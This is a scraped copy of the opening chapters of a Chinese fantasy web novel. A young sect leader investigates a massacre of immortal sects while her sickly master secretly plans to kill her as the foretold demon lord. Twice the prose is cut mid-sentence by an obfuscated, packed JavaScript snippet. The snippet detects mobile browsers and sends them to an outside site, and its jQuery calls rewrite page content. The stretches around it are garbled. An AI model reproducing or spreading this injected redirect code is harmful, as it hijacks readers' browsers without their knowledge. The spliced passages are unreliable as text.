《我的危险师父》 1. 晋江文学城 01[风起] 从前有很多座山。 云雾缭绕,灵气丰沛。 景华二年,风调雨顺,国泰民安。 山上便住了许多仙人,立了无数门派。成天唇枪舌剑,纸上斗法。 天明九年,国愈发泰,民更加安。 山上的仙人多如牛毛,门派大大小小,满天星宿一样杂又密。 不过各个门派间,却倏然不再斗来斗去了。 天地间出了一位货真价实的奇才。 她用一把平平无奇的浮生剑,让芸芸门派噤若寒蝉。 众仙家唯她是从,还特意择了吉日,尊她为仙门宗主。 吉日前夕,多数门派都在兢兢业业地做准备。 每个门派都想在明天讨得宗主欢心,好抱上大腿一鸣惊人。 殿中摆满了奇珍异宝,琳琅书画。 只因这宗主的喜好无人知晓,大家揣摩不透,索性什么宝贝都搬出来抖一抖。 殿外却忽然下起暴雨,一道道惊雷从暗紫天空劈下。 刹那间,火苗打四处窜起,借恶风长成了令人窒息的灼浪。 众人大惊失色,却都身不由己,眼睁睁看着自己的手扼上同门师兄弟的脖子。 或断头。 或自刎。 或撞在墙上血流如注…… 雷声盖住凄厉的鬼哭狼嚎,雨水冲刷黏腻的满地血水。 * “宗宗宗主!宗主救命啊!宗——” 又一个五大三粗的壮汉被仙童架进来,虚弱无力地瘫倒在地上。 壮汉衣袍破烂,上面血迹斑斑。 他撕心裂肺地嚎着,仰头看到殿里其他人时,表情忽然愣住。 大殿一侧,肃穆空寂的根根石柱旁。 长长一排人,个个都衣冠不整,浑身血迹。 好比这里是地狱,大家都挂着一脸死相。 阶上主座,女子一袭红衣,面色冷若冰霜。 旁边小仙童觑她的神情,小心翼翼递上一碗压惊宁神的汤药。 姜盈初蹙眉摆手,没接。 她的心情已由震惊变得麻木,偏头问仙童:“这是哪个门派?” “嘶——”仙童犯难地盯着壮汉。 这门派成百上千,他也只能说上来一些声名赫赫的。 壮汉识趣地自报家门:“在下玄九思夜阁天机堂——” “玄长老。”姜盈初没有时间听废话,打断他,平静地问:“可是一夜之间,满派惨遭灭门?” 壮汉吸吸鼻子,含泪点头。 “宗主,我阁上下足足四十九条命,都死在了昨夜那场妖火里啊!求宗主为我做主,求宗主救救——唉唉唉?” 他话还没说完,忽然有个双目赤红的少女闪出来,一把将他拽进了人群。 “先来后到。”少女说,“区区四十九条人命,还不规规矩矩地排队?” 壮汉门的门派虽小,但他好歹是一派阁主,平时被四十九个弟子高高供起来,养尊处优。 冷不丁被一个小丫头片子训斥,壮汉火冒三丈:“什么叫区区四十九条人命?四十九咋了,人命关天,这是天大的事情!” 少女目不斜视,充耳不闻。 壮汉气死了。 他还要开口,肩膀冷不丁被人拍了拍。 壮汉转头,对上一双突然近在咫尺的漆黑眼瞳,吓得一激灵。 姜盈初审视地看了眼他,幽幽叹气。 她盯着殿外那只圆滚小猫,话却是对壮汉说的:“若柒柒,青龙派掌门。青龙派两千人,现如今,只有三百人活着。” 壮汉“啊”了一声,白痴地问:“其他的去哪儿了呀?” “死了。”姜盈初说。 壮汉愕然地瞪大了眼。 满殿哗然。 这青龙派是最近几年突然冒出的门派,势头强劲,如日中天。 怎么会都死了呢? 难不成——遭遇了和自家门派一样的鬼事情? 壮汉傻了好一会儿,结巴地问:“那,那敢问宗主,为何——” “问她。”姜盈初看了眼刚刚那名少女,正过身冷冰冰地说,“问若柒柒。” 说完,她递给门外小猫一个安抚的眼神,疾步出了大殿,留给壮汉一阵扑面气风。 小仙童在阶上拖着长腔:“诸位长老稍安勿躁,宗主去去就来。” 等姜盈初的身影彻底从众人视野中消失,殿内沉寂的气氛才稍稍活跃起来。 这些浑身狼藉的人交头接耳,脸上的表情越来越惶恐。 他们再三向彼此确认,终于得出来一个不可置信的结论。 昨夜的那场血雨腥风,在场竟无一门派幸免! 周围安静了下来,落针可闻。 “此乃不祥之兆啊!”一个拄着拐杖的老头实在愕然,扯着嗓子惊恐地说。 而后被吓得身体僵硬,直挺挺地向后倒去,“咚”一声和地面肌肤相贴。 * 姜盈初走出殿门。 肥头大耳的小猫亲昵地蹭蹭她,懒洋洋地带路。 锦鲤池旁,有个人正立在簌簌大雪中的枯桃树下。 姜盈初远远瞧见那人苍白的面庞,脚步一滞。 然后凭空变出一件墨色薄氅,抱在怀里,朝言遮走去。 “师父。”姜盈初在他身旁站定,喊道。 言遮没吭声,凌厉的骨相都被病气遮掩,乍一看只能看见“姿色”二字。 姜盈初又喊:“师父。” 她师父依旧不语,修长指节把玩儿着手中折扇。 姜盈初不知他那根筋又搭错了弦。 若是别人让她这么云里雾里,她定然转身就走。 凡是一问三不答的卖关子,姜盈初都不喜欢。 人长一颗玲珑心,可不是为了弯弯绕绕勾心斗角。 可眼前这个人是言遮,是她的废物师父。 三年前,姜盈初昏死在冰天雪地中。 言遮打马而过,救死扶伤,把她捞进了怀里。 本该是英雄救美的故事。 不料言遮被雪晃了眼,连人带马,还带着姜盈初,一头扎进深谷。 姜盈初福大命大,毫发无损。 言遮运气不及她,虽然没有皮肉之伤,却落下了病根。 可能是被善有恶报气到了。 他用“救命恩人”的绳子捆住姜盈初,狗皮膏药一样粘着她。 故事到了这儿,又该是以身相许,亦或强取豪夺。 但他俩不同。 言遮眼尾泛红,哽咽着自己上无老下无小。 “要不,你认我做义父?”他假装哭哑了嗓子,小心翼翼地看着姜盈初。 哦,打的是让人给他养老的算盘。 姜盈初听出来了。 她接受不了凭空多一个爹,退而求其次,认了言遮做师父。 眼下,姜盈初抿唇。 “天寒地冻。”她手法粗暴地把怀里大氅拍在了言遮身上,“师父小心着凉。” “咳咳咳——” 她话音刚落,言遮就把半张脸藏在扇后,闷咳起来。 姜盈初蹙眉,伸手要给师父把大氅裹紧。 言遮抬眼,轻轻用扇子挡停她的手,另一只手径直推掉了肩上大氅。 厚实的衣服落在更厚实的雪地上,本该无声无息。 可言遮眼瞎,没看见脚边的小猫。 小猫被盖在衣袍下,登时吱哇乱叫起来。 “这件颜色不好看,我不喜欢。”言遮看着姜盈初,吐气如兰。 姜盈初:…… 她没忍住闭了闭眼,勉强消化了自己想欺师灭祖的冲动。 再睁眼时,一个白色瓷勺递到她嘴边。 “把药喝了。”言遮捏着勺柄。 是小仙童刚刚端的那种宁神药。 姜盈初摇头:“我不害怕,血淋淋的场面我又不是没见过。” 还有一个更关键的理由,她没有搬到台面上来讲。 她不怕血腥,但她怕苦。 言遮毫无波澜地“嗯”了一声:“为师让你把药喝了。” 尊师重道。 姜盈初认命地接过碗,视死如归地仰头灌下。 苦得简直发酸。 但姜盈初不会把自己怕苦这件事暴露无遗。 哪怕对方是言遮。 她尊敬他,照顾他,都算报恩。 但她并不亲近他。 “师父喊我就是为了这个?”她问。 “嗯。”言遮声音清冷,眸中一丝满意闪过。 姜盈初哭笑不得地看着她师父。 圣然殿里还有天大的窟窿等着她去补呢。 他倒好,把自己喊出来只是为了喝这聊胜于无的药。 “行吧。”姜盈初拾起地上大氅,和手里的碗一并塞给言遮,“师父最好还是穿上。” “丑。”言遮言简意赅。 姜盈初麻了。 察觉到小猫又在蹭自己,她又叮嘱师父:“别欺负旺财,它又不是灵兽,听不懂人话。师父扔衣裳闷它,它该害怕了。” 言遮没有说话。 姜盈初转身,往前走了两三步,身影突然消失在带起的风中,只剩被卷在风里的冰渣子凌乱飞舞。 枯桃树下又恢复了刚才的空落落。 言遮身穿白衣,安安静静站着,几乎要和落雪融为一体。 “我就该变成老虎!变成熊!”一道满是怨气的声音凭空出现,“变成你用衣裳盖不住的东西!” 言遮看向脚边义愤填膺的旺财,嗤笑说:“你自己选的,受着吧。” 旺财生无可恋地望天。 自己当时怎么就一时想不开,怎么就变了猫呢? 它可是帝君的灵兽,千年只此一头的麒麟啊。 如今呢?它是被盖在衣裳下就束爪无策的废物,还顶着“旺财”这种狗名字。 不过—— 旺财又仰头看着言遮,他正在把空碗往食盒里装。 旺财的心态又平衡了。 堂堂帝君都变成了给别人端碗喂药的仆人,自己变成一只猫,还算不错。 旺财要怨只能怨自己主子太行侠仗义。 魔尊降世,三界神仙要么慌得乱作一团,要么已经准备好赴死。 只有这帝君天不怕地不怕,冷声道:“我会解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089208|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决她。” 就这样,旺财跟着言遮下凡,化作两个废物,一左一右潜伏在这灭世魔尊身旁。 “唉,你准备什么时候动手?”旺财问,“仙门被灭,山雨欲来,你等她化魔了再动手,可就为时已晚呐!” 言遮拎起食盒:“先养养,她还听话。” 他看到了她咽下药时,那一瞬间被苦到的神情。 尽管她有意掩饰,但他依旧精准捕捉到了。 言遮莫名满意。 尽管她觉得这碗药难以下咽,但她还是听了自己的话。 或许是因为姜盈初现在还格外听话,他并不打算现在就动手。 “拉倒拉倒!”旺财躺在地上打滚,“她现在都已经是仙门宗主,等以后翅膀硬了,还能听一个废物病秧子的话?” 言遮嘴角的一丝笑意消散殆尽,冷冷看了眼地上的猫。 旺财一怔,后知后觉地意识到自己刚刚好像骂帝君是废物。 “喵~” 它讨好地叫了一声,缩进了地上的大氅里。 言遮突然勾唇,笑得意味不明,妖冶又让人胆寒。 “我有分寸。”他恶劣地朝旺财比了个抹脖子的动作,“杀她不过手起刀落,比杀你容易。” 旺财猫身一抖,弱弱地用猫爪按着大氅边缘,把自己严丝合缝地闷在里面。 * 姜盈初回了圣然殿。 一堆长老叽叽喳喳,各个面色惊惶。 见到姜盈初,好比无头蚂蚱突然找到了方向,要牢牢抱住这根救命稻草。 “求宗主为我门派报仇雪恨!” “我等愿誓死追随宗主,求宗主彻查此事!” …… 姜盈初却摇头。 底下众人顿时心底发毛,双腿发软,生怕宗主丢下他们逃之夭夭。 “诸位放心。”姜盈初平静地说,“我既认了这‘宗主’的称号,定不会旁观此事。” 众人长舒一口气。 姜盈初眼神示意底下仙童都去搀扶这群长老,起身道:“诸位暂且在沐阳山好好休息,此事安心交付与我就是。” 她顿了一下,在幻移离开前补充道:“我做事不喜有人插手。” * 是夜,诸位长老都熟睡了,房里漆黑,伸手不见五指。 沐阳山的藏书阁还亮着光。 姜盈初只身泡在排排书架间,埋头捧着书卷翻阅。 今日这般诸多门派被灭的事,她倒是从古籍里找出来几例。 不过这些例子,要么是宿敌寻仇,要么是堂堂正正的门派比试。 都和如今的形势不相符。 当今世道,虽然门派遍地,可都是些花拳绣腿哄骗人的雕虫小技。 除了青龙白虎朱雀,这三个真刀实枪的门派之外,其余那些,十个里面有九个都不会一点儿术法。 这能有什么值得大开杀戒的仇?能有什么值得屠人满门的比试? 砰—— 门外突然传来一声重响。 姜盈初翻页的手一滞,迅速移到门外,手中倏然多出来把闪着寒光的剑,剑柄刻有龙飞凤舞的“浮生”二字。 门外,一切如常,除了门口躺在地上的那盆花。 姜盈初蹙眉,问当值的两个仙童:“花倒了?” 一个仙童正在迷迷糊糊地打盹,听见姜盈初的声音,如梦初醒。 另一个仙童态度端正,双眼瞪得很圆,大声道:“刚刚被风吹翻的!” 姜盈初收回剑,古怪地盯着他,“那你扶起来啊。” “是!”呆板的仙童反应过来,连忙将其扶正。 风平浪静,姜盈初又回了藏书阁。 她翻遍一楼仍无所获,径直踏上二楼。 而这六层藏书阁的屋顶,冬夜寒风呼啸,屋脊上的一人一猫被吹得摇摇欲坠。 言遮惨白着脸,看向旺财的时候毫不掩饰自己的杀意。 笨手笨脚带翻花盆的旺财心虚极了。 小心翼翼地蹭了蹭言遮的衣角。 “蠢货。”言遮轻声骂道。 要不是他手里捏着两沓纸,腾不出手,不然定要把这蠢麒麟揍得现出真身。 两沓纸上,字迹潦草,密密麻麻。 艰难地辨认下来,意思是说:这众多门派被屠,是魔头现世之兆。 以及姜盈初刚当了宗主,就有此等灾祸问世,可见姜盈初实在不详。 这纸上的字是言遮用左手扒拉出来的。 旺财吹着冷风,好奇地问:“魔头降世,自然会有预兆,你这样提醒大家干嘛?” 言遮用看傻子的眼神扫了眼自己的蠢麒麟:“我为的是提醒他们?” “啊,那是为了什么?”旺财问。 言遮没搭理它。 妖火降世,便是天道降下的预兆。 而他费尽心思写这样一沓纸出来,只是想让她看清这些所谓仙人的真实面目罢了。 若她被扣上一个“灾星”的名号,这些仙人还会像如今这般尊敬她吗? 今夜没有血雨腥风。 但沐阳山上下,除了姜盈初,人人手里都多出来这样一张纸。 2. 晋江文学城 02[蝼蚁] 姜盈初在藏书阁翻了一晚上的古籍。 天将亮时,她忍不住困,阖眼趴在案上打盹儿。 “宗主。”一道脚步声由远及近。 姜盈初警惕地睁眼,手中又亮出浮生剑。 在看清来人后,她松了一口气。 沐阳山上下,仙童很多,但姜盈初身边却从来不需要人来近身时刻伺候。 她是来修仙的,不是当神仙的。 她休息的时候周身常布着结界,沐阳山中,只有两个人不受这结界的阻挡。 一个是她师父,言遮。 另一个是沐阳山主峰的领事,李良辰。 而此刻,来人瘦得像豆芽,肤色黝黑,眼睛小而熠熠,看上去十分狡诈。 “宗主。”李良辰作揖说,“诸位长老都在圣然殿等您。” 他的声音和长相十分不相符,口音浓厚,虽说的是官话,可实在歪七倒八。 整个人的气质一下子就从狡猾变成老实,两级反转。 姜盈初挑眉:“等我?” 她昨天都给这些人打了保证,实在想不到他们还有什么要等自己的事。 李良辰从怀里摸出一张皱巴巴的纸,弯腰双手给姜盈初奉上。 “大雨和小雨峰的两位峰主也在殿内等您。”他说。 姜盈初仔细地扫完纸上内容,面无表情地问:“怎么回事?” 李良辰:“今早我们起来,人人手中都捏着这样一张纸。朱掌门已经和我调查过,发现昨夜一切如常,毫无异端。” “人人手中都有?”姜盈初问。 “是,主峰和大小雨两座峰,人人都收到了。”李良辰声音越来越小,“凭空出现,就好像……天意一样。” 姜盈初直视着李良辰,一言不发,抬手把纸丢了。 这张被称为“天意”的纸从空中扑扇着坠到地面。 姜盈初抬脚,踩了上去。 李良辰一怔,而后“咚”一声跪在了地上。 “是我说错话了!宗主切勿动怒!”他脸红脖子粗地解释,“就算,就算这是天意,我也一心追随宗主,万死不辞!我这条命都是宗主给的,如果没有宗主当初把我从狼窝里救回来,我早就命丧——” “起来。”姜盈初说。 李良辰还陶醉在对宗主的感恩戴德中,越说越激动,不禁哽咽。 冷不丁被宗主打断,茫然地“啊”了一声。 “没怪你,起来。”姜盈初丝毫没有被这张怪纸影响到的样子,冷声吩咐:“去理清楚,都有哪些门派遇害,几人遇害,现存几人,生者为何人。” 李良辰点头应嗳,犹豫再三,说:“对了,宗主,言遮又病了,今早喊了一堆仙童去给他熬药。” 他的口吻十分嫌弃,着重强调了“一堆”这个字眼。 心里祈祷宗主听到这个废物又犯病,能心生厌烦,直接把他轰出山门。 沐阳山上下,人人都对姜盈初服服帖帖。 但却没几人能给言遮好脸色,哪怕他是姜盈初的师父。 一来,姜盈初事事分明,她说,“这是我师父,我尊敬他,理所应当。你们怎么对他,全凭自己心意,我不干涉。” 二来,言遮身为在山上混吃等死的无赖,却毫无自知之明。 眼高于顶,脾性古怪。 众人都很听宗主的话,都按照自己的心意对言遮——瞧不起,看不惯。 姜盈初已经习惯自己师父隔三差五病一回,并不惊讶。 不过提到了言遮的名字,她想了想,叮嘱李良辰:“知道了,你去和他一块儿整理我要的东西,速度能快一点儿。” 她说完,立马幻移去了圣然殿。 李良辰:…… 他恨自己的多嘴。 * 主峰后山,言遮的普华院里。 一堆仙童挤在小厨房,麻木地瞪着炉上药罐。 案上放着长长一行琉璃碗,碗里各自盛着药——都是被言遮原封不动退回来的。 “就这碗了!”一个仙童愤愤地说,“就算天塌下来,我都只调这最后一碗。” 他咬牙切齿,端着盘子走向主屋。 言遮倚在床头,半身缩在狐毛被子里,出神地看着窗外虚空。 一派岁月静好的样子。 如果忽略他时不时咳得半死不活的话。 仙童进来把药递给他,吊着气悬着心,凝神注视他的表情。 言遮抿了一口,“不苦不甜,味道合适。” 仙童大喜,热泪盈眶。 天知道这难缠的祖宗今早是如何刁难他们的! 这是整整第十三碗! 第十三碗啊,终于有这厮能喝的了! “但温度不行,太凉了。”言遮话锋一转,幽幽地把碗又递给仙童。 仙童:…… 这种货色怎么还没病死? 小仙童窝火地去接碗,忽然有只手自他身后冒出,径直把碗打翻在地。 言遮不为所动,偏头,继续云淡风轻地看着窗外出神。 李良辰见他摆架子,气得要死。 “不准再给他熬一碗药。”他沉声对仙童说。 言遮的目光从窗外收回,嘴角莫名一勾,拍手附和:“嗯,别再给我熬了,怪麻烦的。” 李良辰:? 凭他对这个人的了解,一切绝对没有这么简单。 果然,下一秒,就见言遮弱柳扶风地捂着心口:“病死我算了,不要紧的。只是可怜盈初,我要是死了,她该有多伤心呐!” 李良辰白眼要翻到天上。 余光中,他瞥见圆滚滚的一抹黄打床底窜出,卯足了劲要往屋外跑。 是那只该死的,通风报信的,擅长给宗主告状的肥猫。 李良辰脸色铁青,自作自受地把碗从地上拾起,深吸一口气,“我去熬。” 言遮笑了,拖腔带调:“哦?——领事抬爱,那我先不死了。” 旺财又甩着尾巴往屋内走,和要去小厨房的李良辰擦肩而过,满脸的小猫得志。 气得李良辰甩袖而出。 诸如此般的事情不计其数。 沐阳山上下,就是因此看不惯言遮的。 言遮,宗主的师父。 自诩金贵,脾性古怪,挑剔,只知道向宗主告状。 李良辰绝不可能和这位大爷一块儿办事,绞尽脑汁地想脱身之法。 他在提笔认真地整理各门各派伤亡情况。 言遮在一旁哼着蚊子念经的小曲。 李良辰听得头大,脑瓜子嗡嗡作响。 终于,在他马上就要忍不住的时候,有仙童来报。 “领事,宫里来人了,在山脚下。”仙童说,“宗主让您差人去接。” 李良辰仰头长舒一口气,喜不自胜。 他提笔就指向言遮,“唉,你去。” * 圣然殿里,纸屑像白雪,铺了满地。 一炷香前,众人还捏着手里凭空多出来的纸,不知如何是好。 直到姜盈初的身影出现在大殿。 当今三大门派之一的朱雀派掌门立马跳了出来。 朱雀派和青龙派的声名鹊起不同。 这是一个根基深厚,历史悠久的门派,早在先帝在世时就名震一方。 如今,先帝已成了黄土下的一具白骨。 这朱雀派掌门——朱肃——依旧荣光焕发,前些日子刚过了一百三十七岁大寿。 “宗主如何给我们一个交代?”身体硬朗的朱肃站了出来,语气不善。 姜盈初没搭理他,裙摆翩然,镇定落座。 朱肃冷哼,把手中的纸揉成团,狠狠掷在地上。 他环顾四周,指着姜盈初,语气激昂地质问:“诸位还看不明白吗?我们诸多门派被灭,就在她当上这个破宗主的前夕。这是有人和她有着血海深仇,我们都是被无辜牵连进去的呀!” 这话说得太锋利,众人都被吓懵。 大小雨峰两位峰主面色阴沉。 不过他们习惯听命于宗主,宗主云淡风轻,两位峰主也不敢贸然冲出去。 “如今我门派千余人已惨遭横祸,还要继续跟着她送死吗?” “诸多门派被灭,少了我们,她姜盈初能算什么宗主?她能为我们做什么?” “你们爱送死就送死,我不奉陪了!” 朱肃唾沫星子喷溅完毕,抬脚往殿门走。 众人抬眼观察宗主的神色—— 姜盈初依旧神情淡漠,无动于衷。 大殿乌泱泱一群人的目光,都集中在了往出走的朱肃身上。 “谁敢走?”忽而一道凌厉的女声杀出,动作迅疾如风,挥着玉锤挡在朱肃面前。 朱肃被吓得心都要飞出嗓子眼了。 结果发现面前这人是若柒柒,连忙把心重新咽了回去。 他手中浮现出一道长鞭,准备要和这没头脑的黄毛丫头交战一番。 “若柒柒。”姜盈初终于开口,神色不明,“站回来。” 看戏的人都一愣。 若柒柒更是骇然,张口还要说话。 姜盈初深深看了她一眼。 若柒柒不甘地站回了人群中。 朱肃按下心头狐疑,故作镇定地往外走。 一步,一步,一步。 每一步走得都很安稳,铿锵有力。 忽然,人群中又有掌门闪出来,追随着朱肃的脚步,“我也不要再受这个灾星的牵连了!” “我也!” “拒绝和灾星同流合污!” …… 殿中三百余人,等这个队伍行至门口的时候,人数积累到了将近百人。 其余众人提心吊胆,头像拨浪鼓一样转:覷一下姜盈初的神色,又看一眼这些人的情况。 姜盈初面无表情,根本让人猜不透她的态度。 而门口,朱肃这个领头羊已经一只羊蹄迈出了殿门。 他动作停顿了一瞬,略有犹豫地彻底走了出去,腿脚发软地倚在门口神兽的石像上。 风平浪静。 朱肃欢呼一声,追随他的人也一窝蜂往门外涌。 咚!咚!咚! 刹那间,好似空中多了道看不见的墙,这些涌出门外的人都被高高弹飞,又像跃不进龙门的鲤鱼,重重落回殿内地上。 殿内鸦雀无声。 有不死心的,心一横,咬牙继续向外猛冲。 也有像朱肃一般狗急跳墙的,变出武器试图和那看不见的墙搏斗,可武器还没挥出去,人就先被弹飞回来。 有人瘫倒在地,回头绝望又惊恐地仰视姜盈初。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089209|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有人绝不回头,依旧咬牙挣扎。 在这莫名震撼的场景中,姜盈初缓缓站了起来。 她打了个响指。 空中那道无形的墙倏然消失。 还在向外猛冲的人没意识到,拼尽全力撞过去,结果把自己摔了个狗啃泥。 龇牙咧嘴过后,讶异地回头看着姜盈初。 姜盈初走下台阶,走到瘫倒在殿中央的朱肃身旁。 十天前,这些门派商议尊姜盈初为宗主的时候,也是朱肃喊得最为大声。 这些人争先恐后地对她许下各种誓死追随的承诺,想方设法地试图得到她的欢心。 姜盈初俯身,意味不明地看着他:“我允许你们背弃十天前对我许下的承诺,我允许你们成为不用付出任何代价的走狗。” 以为姜盈初会解决他们的众人一愣,面面相觑。 “但你们记住,你们只是连我的一道结界都闯不出去的蝼蚁。” “以后任何大难临头,我都不会施以援手。若是反目成仇,也别怪我剑指昔日旧友。” 姜盈初勾唇,漫不经心的笑最为讥讽。 朱肃不语,身形颤抖。 很长时间的沉默。 终于有人如梦初醒,反应过来自己刚刚做了何等蠢事。 但他们没有被给予泪流满面忏悔的机会。 姜盈初轻轻拍手。 这些人齐刷刷地被骤起的风抛向殿外。 还有悔过者连滚带爬地往殿里窜,门口神兽的石像却突然朝天怒吼一身,吓得这些宵小抱头鼠窜。 殿内人群里头,不知哪个机灵鬼最先起了头,把手中那张满是胡言乱语的纸撕得粉碎。 然后往空中一撒,跪倒大声地表衷心:“我等绝不为妖言所惑,绝不背信弃义,誓死追随宗主!” 于是人人都开始撕纸。 圣然殿里便铺上了一层白雪,狂乱又庄重。 言遮便是在这个时候被侍从搀扶进来的。 * 扶他进来的侍从满头大汗,气喘吁吁。 旁边站着个敷粉的太监,嫌弃地看了眼言遮。 这病秧子一路咳咳咳,咳得徐公公觉得周身空气都污浊了,好像自己也会染上这病。 姜盈初一愣,没想到去接来客的人是言遮。 她移步下来,从侍从手中接过自己弱不禁风的师父。 “师父为何要去接人?”姜盈初对太监轻轻颔首,而后先问言遮。 言遮看着小徒弟扶着自己的手,又扫了眼被晾在一旁的太监。 没由来的得意让他闷笑一声。 姜盈初:? 太监:??? “咳咳咳咳——”察觉到两道疑惑的目光,言遮连忙大鸟依人地虚倚在姜盈初肩头,偏头向后猛咳。 他咳得眼尾泛红,眸中蒙着一层薄雾。 楚楚可怜,又故作淡然地说:“无妨,我的身子不打紧,领事交代的事情,就是你的事情,我定然认真去办。” 一句话就把李良辰卖了个干净。 殿中多是初到沐阳山的人。 只是听闻过宗主有个病弱师父,脾性古怪,不讨人喜。 可—— 也没人告诉他们,这师父是此般模样! 长得比青.楼里那些白面公子好看就算了。 怎么这一举一动,还胜过那些公子的风情万种呢? 这哪是拜了个师父?分明是养了个男宠在山上啊。 众人心照不宣地低头,不敢再看这小媳妇儿给宗主告状的戏码。 姜盈初倒没有察觉出任何异常。 她有一搭没一搭顺着师父的背,手法早在撸猫的时候练得炉火纯青。 旁边旺财看得眼馋,着急忙慌地“喵”了一声。 瞥见言遮要杀猫的眼神后,又立马夹着尾巴躲进了人群。 * 宫里来人,众人惶恐。 他们好些都是借着所谓“门派”捞油水的人,倘若不干这行,那定是个地道商人。 哪有机会呢见得到宫里头的人? 听到这位公公正是如今陛下身边当红的徐公公时,一群人更是吓得腿软,又按捺不住心中激动。 傍上皇帝的大腿—— 可比傍上姜盈初的大腿有用多了! 虽然不知道皇帝为何要派人来沐阳山,但一群人的视线还是若有若无地落在太监身上,不曾移开。 姜盈初也疑惑。 天家和仙家,向来井水不犯河水,互不干涉,一派祥和。 皇帝知道这修仙赚银子的骗局。 但架不住这些仙人给自己的“功德福报”太丰厚,睁一只眼闭一只眼,默许了他们招摇撞骗。 至于像对三大门派和姜盈初这种有真本事的仙人,自然敬重。 敬而远之。 可现在为什么突然派人上山了? “昨日呐,钦天监算出,这仙门有灾祸发生,恐有魔头问世。”太监满脸横肉笑得堆在一起,“钦天监又言,沐阳山煞气冲天,怕是有灾星藏匿于此。皇上牵挂宗主,特派咱家来瞧一瞧。” 此话一出,众人闻之色变。 这和那纸上写的一模一样啊! 太监的目光不经意地在人群中扫。 姜盈初扶着言遮,也冲对方笑得虚情假意。 3. 晋江文学城 03[天家] 又一炷香后,太监和随从被请去偏殿稍作等候。 临走,徐公公脸上还堆着虚情假意的笑。 姜盈初也面不改色,淡淡接过李良辰整理好的卷宗。 全然临危不乱。 可底下众人非常乱,心乱如麻。 一边是实力出群,取他们人头于弹指一瞬的宗主。 一边是权势滔天,取他们人头于言语之间的帝王。 这人头岂不是左右都保不住了? 姜盈初的视线上下扫着纸页,随意地问:“还有谁想走?” 没人吭声。 “真的没人想走吗?”姜盈初语气轻松地问,“钦天监插手,就代表了宫里的态度。他们为何与我作对,我不知道,也不知道接下来又回发生什么。” 她抬眸,扫视着众人,“为了自保,在我的允许下离开,不算背信弃义。” 沉默了许久。 终于有人颤巍巍地从人群里迈出一条腿——是昨天被架进来的那个壮汉。 他冲姜盈初虔诚地作揖,而后脚步发虚地往门口走。 姜盈初给旁边的仙童使了个眼色。 仙童疾步走下了台阶! 察言观色的众人吓得倒吸一口凉气,都在庆幸自己刚刚没有中计站出去。 不料,只见仙童挡在壮汉身前,却没有刁难他。 反而是双手奉上一个钱袋。 壮汉脑子空白,接过沉甸甸的钱袋一瞧,里头赫然是满当当的灵石! 他感激涕零地回首,又冲姜盈初作揖。 不过这回,他的身影被一窝蜂涌出来的人淹没了。 走完一波人,姜盈初给底下选择留下的分别发了护身符。 东洲地界,仙门各派的势力南北渭泾分明。 南方势力占据的面积相对广阔,门派也纷杂,尊姜盈初为首。 而在北方,京都以上地界,只有一个门派盘踞——便是三大门派之一的白虎门。 北方仙人自然尊他们的掌门为首,不认姜盈初这个仙门宗主。 李良辰整理了各门派的伤亡情况。 姜盈初也传达给了阶下各位长老。 “东洲境内,京都以南,门派共八百余。其中人数超五十的门派,约五百。此次灾祸,涉及约七百门派,三百余门派被屠满门,赶来沐阳山的门派约三百。” 姜盈初四平八稳地报了数。 底下残存的长老们听得心中恐慌,却也咬牙做出毫不畏惧之色,扬言要和宗主联手彻查此事。 姜盈初颔首,众人稀稀拉拉走出圣然殿。 殿里便只剩下了大小雨峰的峰主以及一众仙童。 “咳咳咳——” 哦,还有一个存在感极强的病秧子。 姜盈初蹙眉打量言遮,劝道:“师父还是先回普华院歇着吧。” 言遮“哦”了一声,毅然摇头。 “领事还在那儿呢。”他可怜巴巴地说,“我害怕。” 姜盈初:…… 她只好像安慰小孩儿一样,厉声对着仙童道:“李良辰把差事交给一个病人,甚是过分。” “是啊!”言遮虚弱地附和。 姜盈初又软着声音哄他:“师父去替我喊他过来,我好好训斥他一番,你好好休息,如何?” 言遮略微思索,臭屁地点头应好。 大小雨峰的峰主是一对夫妻,被眼前场景辣到想捂对方的眼睛。 索性言遮走得利索,即使拖着病体,走出殿门时依旧雀跃。 姜盈初看着自己师父那志得意满的背影,忽然开口说:“缺一条尾巴。” 她莫名觉得她师父像只尾巴翘上天的狐狸。 可能是言遮总是一身白衣的缘故。 “啊?”两位峰主齐刷刷地看向宗主,满头黑线。 姜盈初不自然地咳了一声,“我说让你们赶紧去山门那里逮人。” 两位峰主满腹狐疑尾巴一事,又不敢问。 只能干巴巴地应道:“是——” * 山门只有红墙,不见黛瓦。 落雪豪横,纷纷扬扬一抖,把鳞次栉比的瓦片金屋藏娇。 而匾下门洞中,有四五个人手拉着手壮胆,跟守门的一队仙童对峙。 “吾乃地灵阁阁主!”一个人攥着衣角,大声地吼。 旁边那个瘦猴也结结巴巴地附和:“是!你,你们这样随便拦人,小心我们给宗主告状!” “哈哈哈哈哈!”这一队守门仙童的都头突然朗声大笑,笑得前俯后仰。 “唉,你们听见他要找谁告状吗?”都头问旁边仙童。 旁边仙童也笑:“他们要向宗主告状呢。” “自己心口不一,当着宗主的面说誓死追随,背过宗主就要逃之夭夭,还敢去给宗主告状!” 都头笑趴了,弯腰捂着肚子。 几人都被这句话掐住了脖子,一言不能发。 瘦猴脸色憋得五彩纷呈,理不直气不壮地挣扎:“谁,谁说我们要,跑了?我们就是下山,去,去……” “去做何事啊?”一道声音突然冒出。 两位峰主闲庭散步地朝这边靠近。 